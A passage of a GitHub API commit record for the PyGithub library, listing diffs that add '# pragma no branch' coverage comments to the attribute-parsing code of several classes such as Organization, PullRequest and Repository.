]","additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":48,"deletions":24,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","filename":"src/github/Organization.py","patch":"@@ -390,75 +390,75 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"billing_email\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None:\n+ if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"billing_email\" ], str )\n self.__billing_email = attributes[ \"billing_email\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":24,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","filename":"src/github/Permissions.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"admin\", \"pull\", \"push\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"admin\" in attributes and attributes[ \"admin\" ] is not None:\n+ if \"admin\" in attributes and attributes[ \"admin\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"admin\" ], bool )\n self.__admin = attributes[ \"admin\" ]\n- if \"pull\" in attributes and attributes[ \"pull\" ] is not None:\n+ if \"pull\" in attributes and attributes[ \"pull\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pull\" ], bool )\n self.__pull = attributes[ \"pull\" ]\n- if \"push\" in attributes and attributes[ \"push\" ] is not None:\n+ if \"push\" in attributes and attributes[ \"push\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"push\" ], bool )\n self.__push = attributes[ \"push\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":8,"deletions":4,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","filename":"src/github/Plan.py","patch":"@@ -37,15 +37,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"collaborators\", \"name\", \"private_repos\", \"space\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None:\n+ if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_repos\" ], int )\n self.__private_repos = attributes[ \"private_repos\" ]\n- if \"space\" in attributes and attributes[ \"space\" ] is not None:\n+ if \"space\" in attributes and attributes[ \"space\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"space\" ], int )\n self.__space = attributes[ \"space\" ]","additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":52,"deletions":26,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","filename":"src/github/PullRequest.py","patch":"@@ -279,56 +279,56 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"base\", \"body\", \"changed_files\", \"closed_at\", \"comments\", \"commits\", \"created_at\", \"deletions\", \"diff_url\", \"head\", \"html_url\", \"id\", \"issue_url\", \"mergeable\", \"merged\", \"merged_at\", \"merged_by\", \"number\", \"patch_url\", \"review_comments\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"base\" in attributes and attributes[ \"base\" ] is not None:\n+ if \"base\" in attributes and attributes[ \"base\" ] is not None: # pragma no branch\n self.__base = attributes[ \"base\" ]\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None:\n+ if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None: # pragma no branch\n self.__changed_files = attributes[ \"changed_files\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n self.__comments = attributes[ \"comments\" ]\n- if \"commits\" in attributes and attributes[ \"commits\" ] is not None:\n+ if \"commits\" in attributes and attributes[ \"commits\" ] is not None: # pragma no branch\n self.__commits = attributes[ \"commits\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None:\n+ if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None: # pragma no branch\n self.__diff_url = attributes[ \"diff_url\" ]\n- if \"head\" in attributes and attributes[ \"head\" ] is not None:\n+ if \"head\" in attributes and attributes[ \"head\" ] is not None: # pragma no branch\n self.__head = attributes[ \"head\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None:\n+ if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None: # pragma no branch\n self.__issue_url = attributes[ \"issue_url\" ]\n- if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None:\n+ if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None: # pragma no branch\n self.__mergeable = attributes[ \"mergeable\" ]\n- if \"merged\" in attributes and attributes[ \"merged\" ] is not None:\n+ if \"merged\" in attributes and attributes[ \"merged\" ] is not None: # pragma no branch\n self.__merged = attributes[ \"merged\" ]\n- if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None:\n+ if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None: # pragma no branch\n self.__merged_at = attributes[ \"merged_at\" ]\n- if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None:\n+ if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None: # pragma no branch\n self.__merged_by = attributes[ \"merged_by\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n self.__number = attributes[ \"number\" ]\n- if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None:\n+ if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None: # pragma no branch\n self.__patch_url = attributes[ \"patch_url\" ]\n- if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None:\n+ if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None: # pragma no branch\n self.__review_comments = attributes[ \"review_comments\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":22,"deletions":11,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","filename":"src/github/PullRequestComment.py","patch":"@@ -121,26 +121,26 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","filename":"src/github/PullRequestFile.py","patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":62,"deletions":31,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","filename":"src/github/Repository.py","patch":"@@ -905,96 +905,96 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"clone_url\", \"created_at\", \"description\", \"fork\", \"forks\", \"full_name\", \"git_url\", \"has_downloads\", \"has_issues\", \"has_wiki\", \"homepage\", \"html_url\", \"id\", \"language\", \"master_branch\", \"mirror_url\", \"name\", \"open_issues\", \"organization\", \"owner\", \"parent\", \"permissions\", \"private\", \"pushed_at\", \"size\", \"source\", \"ssh_url\", \"svn_url\", \"updated_at\", \"url\", \"watchers\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None:\n+ if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"clone_url\" ], str )\n self.__clone_url = attributes[ \"clone_url\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"fork\" in attributes and attributes[ \"fork\" ] is not None:\n+ if \"fork\" in attributes and attributes[ \"fork\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork\" ], bool )\n self.__fork = attributes[ \"fork\" ]\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], int )\n self.__forks = attributes[ \"forks\" ]\n- if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None:\n+ if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"full_name\" ], str )\n self.__full_name = attributes[ \"full_name\" ]\n- if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None:\n+ if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_url\" ], str )\n self.__git_url = attributes[ \"git_url\" ]\n- if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None:\n+ if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_downloads\" ], bool )\n self.__has_downloads = attributes[ \"has_downloads\" ]\n- if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None:\n+ if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_issues\" ], bool )\n self.__has_issues = attributes[ \"has_issues\" ]\n- if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None:\n+ if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_wiki\" ], bool )\n self.__has_wiki = attributes[ \"has_wiki\" ]\n- if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None:\n+ if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"homepage\" ], str )\n self.__homepage = attributes[ \"homepage\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"language\" in attributes and attributes[ \"language\" ] is not None:\n+ if \"language\" in attributes and attributes[ \"language\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"language\" ], str )\n self.__language = attributes[ \"language\" ]\n- if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None:\n+ if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"master_branch\" ], str )\n self.__master_branch = attributes[ \"master_branch\" ]\n- if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None:\n+ if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mirror_url\" ], str )\n self.__mirror_url = attributes[ \"mirror_url\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"organization\" in attributes and attributes[ \"organization\" ] is not None:\n+ if \"organization\" in attributes and attributes[ \"organization\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"organization\" ], dict )\n self.__organization = Organization.Organization( self.__requester, attributes[ \"organization\" ], completion = LazyCompletion )\n- if \"owner\" in attributes and attributes[ \"owner\" ] is not None:\n+ if \"owner\" in attributes and attributes[ \"owner\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owner\" ], dict )\n self.__owner = NamedUser.NamedUser( self.__requester, attributes[ \"owner\" ], completion = LazyCompletion )\n- if \"parent\" in attributes and attributes[ \"parent\" ] is not None:\n+ if \"parent\" in attributes and attributes[ \"parent\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parent\" ], dict )\n self.__parent = Repository( self.__requester, attributes[ \"parent\" ], completion = LazyCompletion )\n- if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None:\n+ if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"permissions\" ], dict )\n self.__permissions = Permissions.Permissions( self.__requester, attributes[ \"permissions\" ], completion = LazyCompletion )\n- if \"private\" in attributes and attributes[ \"private\" ] is not None:\n+ if \"private\" in attributes and attributes[ \"private\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private\" ], bool )\n self.__private = attributes[ \"private\" ]\n- if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None:\n+ if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pushed_at\" ], str )\n self.__pushed_at = attributes[ \"pushed_at\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"source\" in attributes and attributes[ \"source\" ] is not None:\n+ if \"source\" in attributes and attributes[ \"source\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"source\" ], dict )\n self.__source = Repository( self.__requester, attributes[ \"source\" ], completion = LazyCompletion )\n- if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None:\n+ if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ssh_url\" ], str )\n self.__ssh_url = attributes[ \"ssh_url\" ]\n- if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None:\n+ if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"svn_url\" ], str )\n self.__svn_url = attributes[ \"svn_url\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None:\n+ if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"watchers\" ], int )\n self.__watchers = 